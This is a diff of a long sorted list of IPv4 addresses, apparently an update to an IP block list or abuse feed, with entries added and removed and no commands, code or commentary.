-37.238.159.16 +37.228.129.104 +37.236.147.19 +37.25.35.9 +37.28.179.41 37.32.20.98 -37.32.21.111 37.32.21.158 +37.32.21.50 37.32.21.69 +37.32.22.181 37.32.23.201 -37.32.7.109 -37.32.8.140 -37.34.234.134 -37.34.244.103 -37.44.238.150 37.44.238.177 +37.44.238.185 +37.44.238.188 +37.44.238.190 37.44.238.194 -37.44.238.201 -37.44.238.203 -37.49.205.40 -37.59.120.179 +37.44.238.213 +37.53.78.60 +37.53.82.111 +37.61.219.110 +38.101.201.164 38.107.221.39 -38.132.109.104 -38.141.224.5 -38.147.168.166 -38.147.168.203 +38.132.109.180 +38.133.225.192 +38.146.70.108 +38.146.70.71 38.207.136.137 +38.207.136.148 38.25.23.37 38.50.10.106 +38.50.242.167 +38.50.60.15 +38.7.199.130 38.7.199.206 +38.83.78.222 38.97.116.244 39.100.73.242 -39.101.185.186 -39.105.120.190 -39.105.86.61 -39.106.18.244 -39.106.226.227 -39.106.23.26 -39.106.81.183 +39.105.117.5 +39.105.184.70 39.107.102.23 39.107.96.126 -39.108.166.28 -39.108.251.77 -39.109.113.78 39.109.115.40 39.109.85.40 -39.120.235.140 -39.129.129.31 +39.115.44.28 39.129.143.39 39.129.25.70 -39.129.27.67 39.129.54.66 -39.129.9.180 -39.152.55.212 -39.153.246.206 -39.159.25.38 -39.164.180.226 -39.62.4.51 -39.99.120.216 +39.152.152.48 +39.152.78.111 +39.164.116.254 +39.164.168.38 +39.165.120.24 +39.165.143.163 +39.172.87.67 +39.73.105.3 +39.91.166.103 39.99.139.32 39.99.33.100 -4.14.49.162 -4.150.44.228 -4.17.224.132 -4.193.237.32 -4.204.255.220 +4.1.75.154 +4.17.224.133 +4.224.20.15 40.112.186.222 -40.113.156.82 -40.115.18.231 -40.115.201.208 +40.117.62.208 40.124.73.236 +40.70.134.229 40.74.59.229 40.76.197.234 +40.76.205.168 +40.76.249.210 +40.77.10.216 40.77.167.224 40.77.167.241 -40.86.114.23 +40.79.19.135 40.88.145.170 +41.128.181.87 41.138.100.61 -41.169.26.227 -41.175.22.218 +41.175.18.170 +41.175.20.123 41.191.116.18 41.204.78.74 -41.207.248.204 41.207.250.246 -41.209.43.93 -41.209.62.8 +41.209.87.162 +41.214.134.198 41.214.134.199 41.214.134.200 41.214.134.201 -41.214.17.91 -41.216.167.166 -41.216.177.112 41.216.177.12 +41.216.177.130 41.216.177.137 -41.216.188.162 -41.216.188.164 +41.216.188.92 41.216.47.138 +41.220.120.43 41.221.168.198 41.221.168.199 -41.221.91.194 41.223.6.198 41.223.6.200 -41.231.85.75 -41.32.93.143 +41.224.252.123 +41.38.37.99 +41.57.134.100 41.57.69.6 -41.59.100.34 +41.59.82.183 41.59.85.86 +41.59.87.86 41.63.9.36 +41.72.105.171 41.72.219.102 -41.74.139.128 -41.77.11.130 -41.79.189.122 -41.82.208.182 +41.74.112.230 +41.75.81.134 +41.78.78.218 +41.86.18.142 41.86.21.13 -41.86.21.5 -41.86.5.164 -41.93.28.26 +41.86.5.151 +41.86.5.176 +41.86.5.183 +41.86.5.232 +41.93.28.33 +41.93.31.73 41.93.33.2 -41.93.71.72 41.95.192.72 -42.100.35.125 -42.117.230.15 -42.123.110.8 -42.192.123.62 -42.192.92.229 -42.194.187.139 -42.200.155.72 -42.200.159.37 -42.200.203.63 +42.119.111.155 +42.179.236.33 +42.192.123.111 +42.192.20.61 +42.193.218.102 42.200.231.120 42.200.247.63 42.200.60.186 42.200.66.164 -42.200.70.134 -42.228.245.85 -42.228.7.2 +42.200.75.233 +42.200.78.78 +42.200.80.42 +42.201.63.245 +42.203.68.87 42.240.129.110 -42.240.129.124 -42.240.129.147 -42.240.129.153 42.240.129.177 +42.240.129.230 42.240.129.249 +42.240.129.40 42.240.129.65 -42.240.129.8 +42.240.129.66 42.240.129.83 42.240.129.9 +42.240.129.94 +42.240.129.97 +42.240.133.21 42.240.133.52 -42.248.126.138 -42.248.127.77 -42.3.8.136 +42.243.167.8 +42.248.124.198 42.5.19.170 42.51.227.119 42.51.227.67 -42.62.66.84 +42.51.49.136 +42.57.148.164 +42.96.0.36 42.96.43.15 42.96.46.204 +43.128.104.36 43.128.104.71 -43.128.105.179 43.128.107.253 43.128.107.63 -43.128.117.169 +43.128.120.74 +43.128.18.217 +43.128.188.206 43.128.229.157 +43.128.242.87 43.128.45.19 -43.128.68.45 -43.128.71.246 43.128.78.205 -43.128.81.22 +43.128.79.144 43.128.81.234 43.128.84.97 -43.128.85.219 -43.128.88.244 +43.128.89.158 43.128.89.200 43.129.158.215 -43.129.201.229 -43.129.216.151 -43.129.246.148 +43.129.230.249 +43.129.241.134 43.129.33.99 43.129.35.207 43.129.35.92 @@ -7235,362 +7116,338 @@ 43.129.40.155 43.129.50.235 43.129.50.62 -43.129.92.182 -43.129.97.125 +43.129.58.6 +43.129.91.93 43.130.10.173 43.130.11.228 43.130.148.100 43.130.15.21 43.130.151.173 -43.130.237.3 -43.130.26.49 -43.130.28.157 +43.130.16.117 43.130.37.230 43.130.40.241 -43.130.47.46 -43.130.48.196 +43.130.56.249 43.130.57.239 +43.130.58.94 +43.130.6.158 43.131.23.30 43.131.232.3 +43.131.234.68 +43.131.241.36 43.131.242.173 -43.131.243.54 43.131.244.252 +43.131.245.109 43.131.247.244 -43.131.248.141 43.131.25.199 +43.131.252.13 43.131.253.76 43.131.254.249 -43.131.27.151 43.131.27.221 43.131.28.68 43.131.30.179 43.131.35.111 43.131.39.140 -43.131.39.5 43.131.41.190 43.131.41.86 43.131.43.27 43.131.47.144 43.131.52.47 -43.131.57.46 43.131.59.246 -43.132.183.192 +43.131.6.177 +43.132.181.74 43.132.200.4 43.133.0.192 43.133.10.29 43.133.102.2 43.133.11.82 -43.133.141.109 +43.133.112.167 +43.133.12.204 43.133.149.31 43.133.162.70 43.133.183.49 -43.133.191.179 +43.133.206.61 43.133.221.135 43.133.229.111 -43.133.32.139 -43.133.33.240 +43.133.32.101 43.133.34.99 43.133.36.226 43.133.37.28 +43.133.47.133 43.133.5.165 43.133.56.252 43.133.58.55 43.133.61.142 -43.133.61.178 43.133.63.105 43.133.64.54 43.133.68.16 -43.133.72.103 +43.133.72.83 43.134.100.206 -43.134.105.200 43.134.111.171 -43.134.112.203 43.134.119.233 +43.134.128.202 43.134.161.86 43.134.162.181 +43.134.166.230 43.134.168.223 43.134.169.46 +43.134.171.46 43.134.172.211 -43.134.173.146 43.134.174.180 -43.134.175.129 +43.134.174.215 43.134.178.72 -43.134.181.196 -43.134.185.141 +43.134.178.78 43.134.185.27 -43.134.186.17 -43.134.189.173 43.134.189.26 -43.134.189.31 -43.134.190.245 43.134.191.142 +43.134.191.211 43.134.197.109 +43.134.202.163 43.134.226.192 43.134.227.248 43.134.23.181 +43.134.230.150 43.134.230.178 43.134.230.252 -43.134.231.46 +43.134.231.178 43.134.231.58 43.134.232.8 43.134.234.182 43.134.234.200 +43.134.236.149 43.134.236.99 43.134.237.227 43.134.237.27 43.134.237.29 43.134.237.73 -43.134.250.4 +43.134.238.239 43.134.30.181 -43.134.31.32 43.134.37.252 43.134.55.65 43.134.57.78 43.134.58.74 43.134.61.14 43.134.64.85 -43.134.70.42 -43.134.74.116 +43.134.68.235 +43.134.7.162 +43.134.75.206 +43.134.80.149 43.134.85.190 +43.134.90.124 43.134.93.102 -43.134.95.103 +43.135.130.122 43.135.139.162 43.135.148.142 -43.135.150.131 -43.135.155.217 43.135.157.164 43.135.159.108 43.135.159.144 -43.135.161.21 -43.135.163.214 +43.135.163.185 43.135.167.165 +43.135.169.91 43.135.172.115 43.135.172.35 -43.135.172.5 43.135.181.188 -43.135.26.252 -43.135.35.220 43.135.48.212 43.135.74.13 43.136.168.241 -43.139.216.232 -43.139.33.242 -43.143.161.215 -43.143.177.75 +43.136.47.125 +43.139.154.25 +43.139.236.150 43.143.183.152 -43.143.32.80 -43.143.34.217 -43.143.67.17 +43.143.79.199 43.152.212.29 +43.153.103.80 43.153.104.18 43.153.106.20 -43.153.108.66 +43.153.108.22 43.153.109.215 43.153.11.56 -43.153.110.11 -43.153.110.228 43.153.112.182 -43.153.112.196 -43.153.113.212 -43.153.113.219 43.153.115.82 -43.153.123.60 -43.153.13.249 +43.153.12.31 +43.153.124.128 +43.153.168.139 43.153.169.222 43.153.169.80 43.153.17.152 43.153.170.186 -43.153.174.38 -43.153.177.115 43.153.178.146 43.153.178.30 -43.153.184.88 -43.153.186.76 +43.153.184.188 +43.153.186.220 43.153.19.25 43.153.192.102 43.153.193.131 43.153.193.173 43.153.194.204 43.153.194.238 -43.153.195.224 +43.153.199.32 43.153.20.244 -43.153.201.144 +43.153.20.27 43.153.202.243 43.153.203.2 +43.153.207.24 43.153.207.98 -43.153.208.96 +43.153.21.104 43.153.21.51 43.153.210.18 -43.153.216.216 +43.153.211.231 +43.153.212.177 +43.153.213.168 +43.153.215.85 43.153.216.92 -43.153.219.123 43.153.219.239 -43.153.219.74 43.153.221.167 43.153.223.232 43.153.225.154 -43.153.226.222 -43.153.24.151 +43.153.229.30 43.153.25.166 -43.153.26.43 43.153.27.98 -43.153.31.199 +43.153.3.37 43.153.38.186 -43.153.41.208 -43.153.42.233 +43.153.39.12 43.153.43.165 43.153.45.125 -43.153.50.60 -43.153.56.90 +43.153.48.160 +43.153.53.166 43.153.57.123 43.153.58.120 43.153.59.10 -43.153.60.169 43.153.61.139 43.153.63.44 +43.153.64.38 43.153.66.145 43.153.66.25 43.153.67.248 43.153.68.27 43.153.70.178 +43.153.71.82 43.153.72.103 +43.153.72.112 +43.153.74.223 43.153.76.170 -43.153.76.36 43.153.76.43 +43.153.77.20 43.153.78.101 43.153.81.210 43.153.81.253 -43.153.85.152 +43.153.82.175 43.153.85.172 43.153.86.185 43.153.87.16 -43.153.88.11 -43.153.97.99 -43.153.98.38 +43.153.92.178 +43.153.95.200 +43.153.98.229 43.153.98.47 43.154.0.241 -43.154.102.160 43.154.114.117 43.154.128.184 43.154.129.174 -43.154.143.144 +43.154.134.119 43.154.145.12 43.154.149.215 +43.154.151.93 43.154.154.86 43.154.156.138 +43.154.162.100 +43.154.168.144 +43.154.177.228 43.154.179.9 +43.154.18.201 43.154.180.209 43.154.183.138 -43.154.184.101 43.154.184.208 43.154.185.151 43.154.189.227 -43.154.19.162 -43.154.198.244 -43.154.2.17 43.154.203.106 43.154.207.124 43.154.216.165 43.154.221.239 43.154.223.168 -43.154.239.200 +43.154.235.92 43.154.25.104 -43.154.25.244 -43.154.25.99 43.154.29.163 -43.154.35.81 -43.154.45.205 -43.154.48.221 -43.154.51.175 -43.154.51.92 43.154.54.104 43.154.64.155 -43.154.69.176 -43.154.87.44 -43.154.9.162 +43.154.73.230 43.154.90.94 -43.154.92.166 -43.154.93.156 -43.154.95.120 +43.154.94.87 43.154.96.206 43.154.97.145 +43.155.107.205 43.155.129.115 43.155.129.233 -43.155.132.16 -43.155.132.210 +43.155.132.102 43.155.134.157 -43.155.137.113 43.155.137.13 +43.155.141.65 43.155.142.210 43.155.143.22 +43.155.152.113 43.155.152.6 +43.155.154.61 43.155.155.143 -43.155.155.253 43.155.157.138 43.155.159.89 43.155.160.157 43.155.160.194 -43.155.161.128 +43.155.161.84 +43.155.162.157 +43.155.163.10 43.155.163.250 +43.155.164.244 43.155.166.135 43.155.166.231 43.155.168.169 43.155.168.244 -43.155.168.85 43.155.170.163 +43.155.170.230 43.155.171.11 -43.155.174.191 -43.155.176.154 +43.155.174.162 43.155.177.183 -43.155.180.131 -43.155.182.237 43.155.184.226 -43.155.62.202 -43.155.71.148 43.155.85.180 43.155.85.59 +43.155.86.100 43.155.87.172 -43.155.91.190 -43.156.1.107 -43.156.10.144 +43.155.95.31 +43.156.10.6 43.156.100.92 -43.156.101.55 43.156.101.56 -43.156.102.98 -43.156.106.29 +43.156.106.15 43.156.106.71 +43.156.106.77 43.156.107.111 -43.156.107.37 +43.156.109.253 43.156.113.241 +43.156.114.14 +43.156.116.77 43.156.117.232 43.156.121.195 43.156.122.147 43.156.122.96 43.156.124.108 43.156.125.211 -43.156.128.13 -43.156.132.186 +43.156.127.43 43.156.133.239 43.156.134.140 -43.156.15.110 43.156.162.193 43.156.171.95 -43.156.18.206 43.156.18.223 43.156.18.253 +43.156.188.194 43.156.216.43 +43.156.225.149 43.156.225.179 -43.156.227.175 -43.156.227.185 -43.156.228.30 -43.156.230.236 43.156.236.44 +43.156.237.124 43.156.237.14 -43.156.237.187 +43.156.237.143 +43.156.237.144 +43.156.237.23 43.156.237.95 43.156.237.96 +43.156.238.11 43.156.238.160 -43.156.238.32 43.156.239.137 43.156.239.139 43.156.239.2 @@ -7598,14 +7455,18 @@ 43.156.240.183 43.156.240.186 43.156.240.197 -43.156.240.201 -43.156.241.24 +43.156.240.213 +43.156.240.75 +43.156.241.125 +43.156.241.213 43.156.243.235 -43.156.249.99 +43.156.249.169 43.156.250.176 43.156.26.197 +43.156.27.200 43.156.27.23 43.156.29.177 +43.156.29.9 43.156.3.27 43.156.30.2 43.156.31.54 @@ -7613,32 +7474,33 @@ 43.156.33.183 43.156.37.41 43.156.38.13 -43.156.39.228 43.156.39.31 43.156.4.142 +43.156.41.129 43.156.42.52 43.156.43.56 -43.156.47.91 +43.156.46.179 +43.156.47.53 43.156.49.103 -43.156.49.122 +43.156.5.156 43.156.51.149 -43.156.52.207 -43.156.6.162 +43.156.51.227 +43.156.57.69 +43.156.58.112 43.156.62.13 43.156.64.92 43.156.65.116 43.156.66.5 -43.156.67.135 43.156.67.238 -43.156.69.195 -43.156.69.230 +43.156.68.233 +43.156.68.36 43.156.7.196 43.156.7.9 43.156.70.63 +43.156.77.105 43.156.77.93 +43.156.78.220 43.156.79.154 -43.156.79.21 -43.156.8.244 43.156.8.254 43.156.8.64 43.156.80.60 @@ -7650,21 +7512,17 @@ 43.156.94.27 43.156.96.85 43.156.98.81 -43.156.99.115 -43.157.198.172 +43.157.114.170 +43.157.198.32 43.157.20.143 +43.157.29.245 43.157.32.103 -43.157.34.181 43.157.5.232 43.157.50.168 43.157.54.73 43.157.62.27 43.157.64.110 43.157.65.152 -43.157.8.248 -43.158.214.10 -43.158.215.27 -43.159.131.232 43.159.131.46 43.159.132.112 43.159.194.101 @@ -7673,93 +7531,99 @@ 43.159.200.220 43.159.225.178 43.159.32.200 +43.159.33.188 +43.159.33.239 43.159.35.111 -43.159.36.245 43.159.37.80 +43.159.38.120 43.159.39.194 +43.159.40.244 43.159.40.48 -43.159.46.253 +43.159.45.214 +43.159.49.114 +43.159.49.49 43.159.51.114 43.159.52.31 -43.159.59.118 43.159.59.128 43.159.59.97 43.159.61.129 43.159.63.148 -43.163.193.100 43.163.197.146 43.163.200.216 -43.163.203.85 43.163.205.190 43.163.207.202 -43.163.208.28 +43.163.215.247 +43.163.219.169 43.163.219.230 -43.163.220.47 -43.163.222.138 -43.163.223.63 +43.163.220.58 43.163.230.138 -43.163.234.214 +43.163.234.243 +43.163.234.244 43.163.238.174 43.163.239.141 -43.163.241.244 -43.205.15.113 +43.163.243.89 +43.207.89.45 43.224.128.228 -43.225.108.187 -43.225.53.39 -43.226.39.199 -43.239.111.20 -43.239.52.173 +43.224.154.66 +43.224.155.244 +43.226.26.250 43.240.103.138 43.241.132.10 -43.241.57.179 -43.243.129.37 -43.243.212.208 +43.242.101.19 +43.242.120.50 +43.242.247.141 43.246.138.165 43.249.226.4 +43.249.24.59 43.249.35.193 -43.251.221.130 -43.251.255.86 -43.251.54.178 43.252.145.2 43.254.240.201 43.254.240.202 43.254.59.210 -44.201.176.21 -45.11.93.118 -45.114.51.101 +43.255.140.99 +44.211.42.53 +45.10.175.77 +45.11.93.40 +45.115.115.158 45.119.132.121 45.119.212.147 45.119.212.196 45.119.81.236 45.119.81.249 45.119.85.251 +45.119.85.88 +45.119.87.86 45.119.9.158 -45.120.115.150 +45.12.253.165 +45.12.73.35 +45.120.227.110 +45.120.69.121 45.120.69.236 -45.124.53.76 -45.124.95.233 +45.124.147.211 45.125.131.68 +45.125.155.106 45.127.135.81 -45.128.222.214 +45.127.245.186 +45.128.232.105 45.128.232.109 +45.128.232.111 45.128.232.122 45.128.232.125 45.128.232.128 -45.128.232.135 45.128.232.140 45.128.232.166 45.128.232.183 +45.128.232.252 +45.128.232.62 45.128.232.67 45.128.232.84 45.129.14.31 45.129.14.44 45.129.14.51 45.129.99.24 -45.13.59.95 45.134.144.113 -45.134.144.238 +45.134.225.250 45.134.225.36 -45.134.26.20 45.135.232.4 45.135.232.50 45.135.232.51 @@ -7767,22 +7631,17 @@ 45.135.232.53 45.135.232.54 45.135.232.6 +45.136.153.217 45.136.59.54 -45.138.132.164 45.138.16.107 45.138.16.222 45.138.16.230 45.138.16.42 -45.138.16.48 45.139.122.241 -45.140.17.16 -45.140.17.212 45.140.17.33 45.140.17.38 45.140.17.6 45.140.17.7 -45.141.139.216 -45.141.215.110 45.141.215.111 45.141.215.169 45.141.215.200 @@ -7799,206 +7658,218 @@ 45.142.122.97 45.142.182.115 45.142.188.8 -45.143.201.62 +45.143.30.14 45.143.9.106 45.147.250.208 45.147.250.222 45.147.250.233 +45.147.50.87 +45.147.97.53 45.148.10.241 45.148.10.81 +45.15.126.55 45.15.157.177 -45.15.158.11 45.15.159.172 +45.15.159.48 45.15.161.253 -45.15.167.104 -45.151.167.10 -45.152.113.68 -45.153.131.127 +45.150.128.142 45.154.1.115 -45.154.98.113 -45.155.170.169 45.155.91.185 -45.155.91.23 +45.155.91.225 45.155.91.247 -45.156.128.12 -45.156.128.17 -45.156.128.2 -45.156.128.21 -45.156.128.23 -45.156.128.25 -45.156.128.26 -45.156.128.29 +45.155.91.86 +45.156.128.10 +45.156.128.11 +45.156.128.15 +45.156.128.16 +45.156.128.18 45.156.128.3 -45.156.128.31 -45.156.128.34 -45.156.128.35 -45.156.128.7 -45.156.129.10 +45.156.128.30 +45.156.128.5 +45.156.129.12 45.156.129.13 -45.156.129.18 -45.156.129.20 -45.156.129.23 -45.156.129.24 -45.156.129.25 -45.156.129.31 -45.156.129.32 -45.156.129.33 -45.156.129.35 -45.156.129.36 -45.156.129.8 +45.156.129.14 +45.156.129.3 +45.156.129.4 +45.156.129.9 +45.156.187.48 45.157.128.242 45.157.130.26 45.157.131.49 +45.159.209.112 +45.161.176.1 +45.161.32.182 45.162.216.76 +45.162.231.161 45.164.39.253 -45.167.108.254 +45.165.4.142 +45.165.88.42 +45.166.221.253 45.168.132.38 -45.168.176.34 -45.168.91.54 +45.168.176.36 +45.168.29.85 45.171.144.39 -45.174.236.110 +45.172.25.141 +45.174.191.4 45.175.18.29 -45.177.115.25 +45.175.75.254 45.177.115.40 45.177.246.142 -45.179.145.73 -45.179.200.152 -45.182.14.254 -45.182.47.128 +45.179.149.42 +45.180.219.203 +45.182.47.155 +45.183.192.14 +45.183.224.20 45.183.62.10 -45.188.81.28 +45.189.220.0 45.189.223.122 -45.189.223.55 45.189.223.88 45.190.77.152 45.190.86.51 -45.195.139.34 +45.195.69.243 45.20.209.253 -45.200.120.231 -45.201.129.216 -45.201.136.153 -45.201.187.159 -45.201.188.125 -45.201.193.85 -45.204.66.133 -45.222.128.225 -45.226.133.167 +45.207.47.223 45.227.194.43 -45.227.253.109 +45.227.254.54 +45.227.254.8 45.229.223.250 -45.230.47.141 45.231.132.136 45.235.4.23 45.237.240.100 -45.240.88.165 -45.240.88.20 -45.249.244.162 -45.249.245.88 -45.250.231.106 +45.237.240.69 +45.250.251.98 +45.250.68.221 45.252.79.62 45.33.105.182 +45.33.105.76 45.33.46.249 45.33.52.85 +45.33.68.226 +45.33.78.70 45.33.84.124 -45.40.56.112 -45.40.57.19 +45.33.91.31 +45.33.95.64 +45.40.56.4 +45.40.57.102 45.43.33.210 -45.49.233.57 +45.43.36.191 +45.43.62.24 +45.43.62.46 +45.48.47.131 45.5.159.36 +45.55.0.10 +45.55.0.31 45.55.0.36 -45.55.0.42 -45.55.0.43 +45.55.0.38 45.55.130.8 45.55.193.222 -45.55.195.28 -45.55.62.156 +45.55.195.83 +45.55.44.94 45.55.64.140 +45.55.64.197 45.55.65.92 45.56.111.60 -45.56.83.149 -45.56.84.110 -45.61.185.140 -45.61.185.152 45.61.188.250 +45.64.179.146 +45.64.185.187 45.64.25.30 -45.66.230.69 45.7.109.29 -45.70.179.22 -45.71.68.154 -45.71.68.74 -45.78.163.94 -45.79.102.48 +45.7.119.3 45.79.104.47 45.79.109.236 45.79.110.218 -45.79.111.228 +45.79.111.185 45.79.116.95 45.79.134.151 -45.79.144.216 45.79.145.110 +45.79.145.120 +45.79.152.129 45.79.152.171 45.79.152.254 -45.79.225.32 +45.79.153.72 45.79.253.78 45.79.67.140 45.79.82.114 -45.79.83.159 -45.79.98.183 -45.80.152.104 45.80.64.230 +45.81.39.127 45.81.39.136 +45.81.39.198 +45.81.39.205 +45.81.39.206 +45.81.39.208 +45.81.39.227 45.82.75.118 45.83.118.202 45.83.29.82 +45.85.77.51 45.86.66.29 +45.86.66.44 45.88.8.95 -45.88.90.144 45.88.90.149 +45.88.90.23 +45.9.148.209 45.9.150.158 +45.90.223.27 45.90.74.184 45.91.171.169 45.92.1.74 45.92.1.90 45.93.100.170 +45.93.136.195 +45.93.16.153 45.93.16.194 -45.93.16.22 +45.93.16.234 +45.93.16.240 45.94.209.61 -45.94.213.226 45.95.146.100 45.95.146.103 +45.95.146.106 45.95.146.114 -45.95.146.35 +45.95.146.41 45.95.146.70 +45.95.146.76 +45.95.146.78 +45.95.146.99 45.95.147.201 +45.95.147.207 +45.95.242.19 +46.1.54.248 46.100.61.231 46.101.103.192 +46.101.110.253 +46.101.120.68 +46.101.121.172 46.101.121.35 +46.101.123.135 46.101.127.204 -46.101.132.159 +46.101.129.22 46.101.137.107 +46.101.146.252 46.101.148.133 -46.101.148.200 -46.101.171.235 -46.101.211.196 -46.101.215.187 +46.101.199.146 +46.101.2.4 +46.101.223.61 46.101.226.182 46.101.229.124 +46.101.23.51 46.101.230.11 46.101.24.141 -46.101.242.117 -46.101.49.103 +46.101.241.17 +46.101.244.79 +46.101.254.169 +46.101.49.191 46.101.5.100 46.101.80.224 -46.101.81.193 46.101.82.89 -46.105.132.32 46.105.132.33 46.105.132.34 46.105.132.35 46.105.142.10 +46.105.29.21 +46.114.89.247 +46.139.127.178 46.139.255.47 -46.146.210.180 -46.148.140.125 +46.148.136.11 46.148.206.226 46.148.40.107 46.148.40.110 @@ -8086,630 +7957,634 @@ 46.148.40.91 46.148.40.92 46.148.40.94 -46.149.182.124 -46.151.210.60 46.161.54.57 -46.165.54.2 -46.173.7.29 +46.162.81.154 +46.163.163.64 46.174.191.28 -46.174.191.32 +46.174.191.30 46.182.19.7 -46.182.21.250 +46.183.220.203 +46.188.104.115 +46.19.136.74 +46.19.137.90 +46.19.138.210 +46.19.230.190 46.191.141.152 +46.20.68.41 46.210.102.239 -46.24.152.150 -46.242.129.88 +46.229.139.104 +46.24.187.149 +46.25.121.203 46.252.16.96 +46.253.8.38 +46.26.235.49 +46.3.112.17 46.31.78.76 46.32.72.76 -46.38.255.27 +46.42.1.196 46.63.80.162 +46.8.158.41 +47.100.112.214 47.100.179.13 -47.104.217.160 -47.108.228.233 +47.103.113.108 +47.104.103.103 +47.108.112.40 +47.108.206.57 47.108.30.111 -47.110.138.74 -47.113.216.106 +47.109.36.76 +47.109.46.119 +47.109.57.27 +47.111.116.44 47.115.170.93 47.116.139.172 -47.119.176.54 -47.12.136.248 +47.117.166.210 +47.156.252.2 47.176.104.76 47.180.212.134 -47.204.21.177 -47.206.124.11 -47.229.248.59 -47.236.17.1 +47.190.147.27 +47.210.200.93 47.236.17.160 -47.236.19.107 -47.236.19.130 -47.236.19.225 -47.236.21.38 +47.236.18.171 +47.236.19.164 +47.236.20.144 +47.236.20.30 +47.236.21.18 47.236.21.62 +47.236.21.74 47.236.22.121 +47.236.22.174 47.236.22.224 -47.236.22.74 -47.236.23.116 -47.236.24.102 47.236.24.150 -47.236.24.154 47.236.24.9 47.236.25.124 -47.236.25.159 -47.236.25.213 47.236.25.68 -47.236.26.178 -47.236.26.196 -47.236.27.111 +47.236.26.246 47.236.27.2 -47.236.27.251 +47.236.27.209 47.236.28.186 47.236.28.41 -47.236.29.178 +47.236.28.83 +47.236.29.138 +47.236.29.188 47.236.29.68 +47.236.29.75 47.236.30.181 -47.236.30.19 -47.236.31.149 -47.236.31.58 +47.240.14.214 47.240.90.48 -47.242.112.130 -47.242.194.183 -47.242.200.108 -47.242.232.63 +47.242.171.122 +47.242.180.185 47.242.232.70 -47.242.235.20 47.242.253.142 -47.242.28.45 +47.242.255.198 47.242.58.141 -47.242.63.176 -47.243.19.186 -47.243.226.255 -47.243.23.190 -47.243.235.169 -47.243.38.189 +47.243.253.14 47.243.39.51 -47.244.168.170 -47.245.107.206 +47.243.4.163 +47.245.102.78 +47.245.105.113 47.245.108.212 -47.245.115.144 -47.245.25.131 -47.245.99.208 -47.245.99.225 -47.250.40.41 -47.250.41.134 +47.245.109.144 +47.245.97.128 +47.250.144.58 +47.250.38.98 +47.250.45.66 47.250.47.86 +47.250.47.99 +47.250.51.88 47.251.28.233 -47.252.6.66 -47.253.96.170 -47.254.179.224 -47.254.229.223 -47.254.229.238 -47.254.25.10 -47.254.85.182 -47.254.94.183 +47.252.112.224 +47.252.113.15 +47.252.24.20 +47.253.33.151 +47.254.195.110 +47.254.31.36 +47.254.46.162 47.37.67.20 +47.51.220.214 +47.63.168.93 +47.74.35.131 47.74.88.37 47.74.96.31 -47.87.158.112 -47.88.26.126 -47.88.31.6 -47.88.35.163 -47.88.58.32 +47.88.19.215 +47.88.32.230 +47.89.154.16 47.89.182.205 -47.89.240.34 -47.90.167.14 47.90.213.10 -47.90.240.134 -47.92.91.87 +47.90.216.197 +47.91.125.252 +47.91.156.34 +47.91.57.144 +47.91.77.177 +47.93.43.45 47.93.5.100 +47.94.17.49 47.95.112.103 -47.95.9.97 -47.97.122.13 +47.97.35.62 +47.98.117.35 49.0.129.3 49.0.129.9 -49.143.16.204 +49.0.71.48 +49.142.109.175 +49.142.123.200 +49.143.32.6 49.143.54.188 -49.156.148.94 49.156.149.94 -49.158.112.63 -49.173.71.196 -49.205.183.65 +49.158.2.61 +49.174.79.34 +49.204.67.174 +49.204.74.149 49.207.180.112 -49.207.248.182 +49.207.250.106 49.207.56.132 +49.213.172.214 49.231.149.183 -49.231.227.38 49.231.43.43 -49.231.66.250 -49.232.28.107 +49.232.145.205 49.233.248.179 -49.233.250.206 -49.233.48.133 -49.234.21.97 -49.234.52.178 +49.234.40.251 +49.235.237.222 49.236.203.203 49.236.204.16 +49.245.99.169 49.247.147.173 -49.247.25.198 -49.247.43.169 -49.248.16.146 +49.247.24.207 +49.247.36.29 +49.247.38.41 49.248.95.218 -49.249.220.180 +49.249.3.91 49.249.78.110 49.36.43.221 -49.51.17.152 49.51.178.186 49.51.183.1 49.51.191.218 49.51.196.148 -49.51.206.157 -49.51.242.95 -49.51.243.206 -49.51.52.23 -49.64.163.42 -49.64.228.107 +49.64.147.170 +49.64.217.2 49.64.236.63 +49.64.240.192 49.64.85.230 -49.64.98.21 49.65.161.90 -49.70.10.200 -49.70.116.84 +49.69.247.208 +49.7.154.136 +49.70.107.21 +49.70.12.96 49.70.125.201 -49.70.42.227 +49.70.27.125 +49.70.33.189 49.70.65.65 -49.71.17.2 -49.71.68.90 -49.72.124.168 -49.72.214.178 -49.73.10.183 -49.73.86.71 -49.75.122.180 +49.72.114.220 +49.72.53.117 +49.73.168.50 +49.73.6.35 +49.74.32.168 +49.75.113.128 49.75.135.149 -49.75.233.124 49.77.60.226 -49.82.60.222 -49.85.203.163 +49.84.242.13 49.85.81.101 -49.86.104.138 -49.86.104.233 -49.86.104.81 -49.86.36.137 -49.86.36.70 -49.86.60.150 +49.86.200.196 +49.86.33.166 +49.86.33.202 +49.86.73.18 49.86.73.188 +49.86.73.22 49.86.89.7 -49.88.187.207 -49.88.42.133 +49.86.92.6 +49.87.0.147 +49.87.222.125 49.89.104.191 -49.89.184.129 -49.89.184.79 -49.89.194.195 -49.89.198.55 +49.89.105.9 +49.89.182.72 +49.89.190.235 +49.89.193.175 +49.89.194.162 49.89.246.196 -49.89.64.111 49.89.76.214 +49.89.95.161 49.91.243.36 5.10.250.241 -5.104.81.9 +5.11.134.152 5.11.150.209 +5.130.164.19 5.135.141.188 -5.135.155.158 -5.135.179.178 5.150.254.239 -5.160.136.182 -5.161.86.118 +5.151.61.252 5.165.248.222 +5.180.174.63 5.181.210.120 -5.181.80.119 -5.181.80.138 -5.181.86.250 5.182.26.170 -5.188.62.21 -5.189.130.31 +5.188.210.227 +5.188.62.174 5.189.145.92 -5.189.187.50 +5.189.184.215 +5.190.209.67 5.196.94.201 -5.200.70.148 5.206.194.9 5.206.224.23 -5.227.31.166 -5.228.225.169 -5.248.142.192 -5.248.78.117 -5.250.154.166 +5.228.249.154 +5.252.35.129 +5.255.103.132 +5.255.114.194 5.255.114.221 -5.255.121.41 +5.255.115.58 5.255.124.150 -5.30.196.15 +5.30.203.146 +5.32.107.126 +5.32.107.98 +5.32.22.218 5.32.99.14 +5.34.182.5 5.34.201.105 5.34.202.142 -5.34.202.172 -5.34.203.216 +5.35.33.3 5.42.220.29 5.42.65.17 -5.42.74.228 -5.42.75.215 5.42.80.142 5.42.80.219 -5.42.82.136 -5.42.82.225 +5.42.80.232 +5.42.80.234 +5.42.80.235 5.42.83.129 5.42.84.47 5.42.85.116 -5.42.85.218 5.42.87.155 5.42.87.157 5.42.87.165 5.42.94.189 -5.42.95.145 5.42.95.167 5.42.95.168 5.44.42.25 -5.45.98.162 +5.45.104.176 5.56.132.106 -5.56.132.81 -5.58.8.4 +5.61.32.186 